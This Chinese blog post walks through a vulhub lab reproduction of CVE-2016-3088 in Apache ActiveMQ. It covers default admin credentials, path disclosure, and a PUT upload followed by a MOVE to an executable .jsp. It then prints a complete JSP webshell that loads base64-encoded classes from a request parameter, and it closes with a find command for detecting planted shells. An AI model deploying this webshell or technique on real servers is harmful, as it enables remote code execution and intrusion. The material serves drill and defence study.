CVE-2016-3088-复现
最近要做应急演练,用到了这个漏洞,就顺便记录一下这个靶场的流程
环境就不记录了,用的是vulhub的靶场
ps:关于该漏洞的成因,我对代码审计不是很懂,这里就不记录了,有兴趣的可以看看参考链接里的分析。
0x01
账户密码是:admin/admin
0x02
登陆后台访问/admin/test/systemProperties.jsp拿绝对路径

0x03 通过put的方式传入文本形式的shell,显示204即为上传成功

访问可以看到上传成功

0x04 利用MOVE方法将上传的wbsh©移动到可以执行的目录并更改后缀为jsp。

进行利用尝试,执行命令

0x05 传入一句话木马,蚁剑链接,同上述方法一致(当时执行的时候忘截图了)
文本:(找不到参考的链接了)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
上传成功:

连接蚁剑:

0x06 排查
命令:find -name "*.jsp" -exec stat -c "%n %y" {} \;

【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!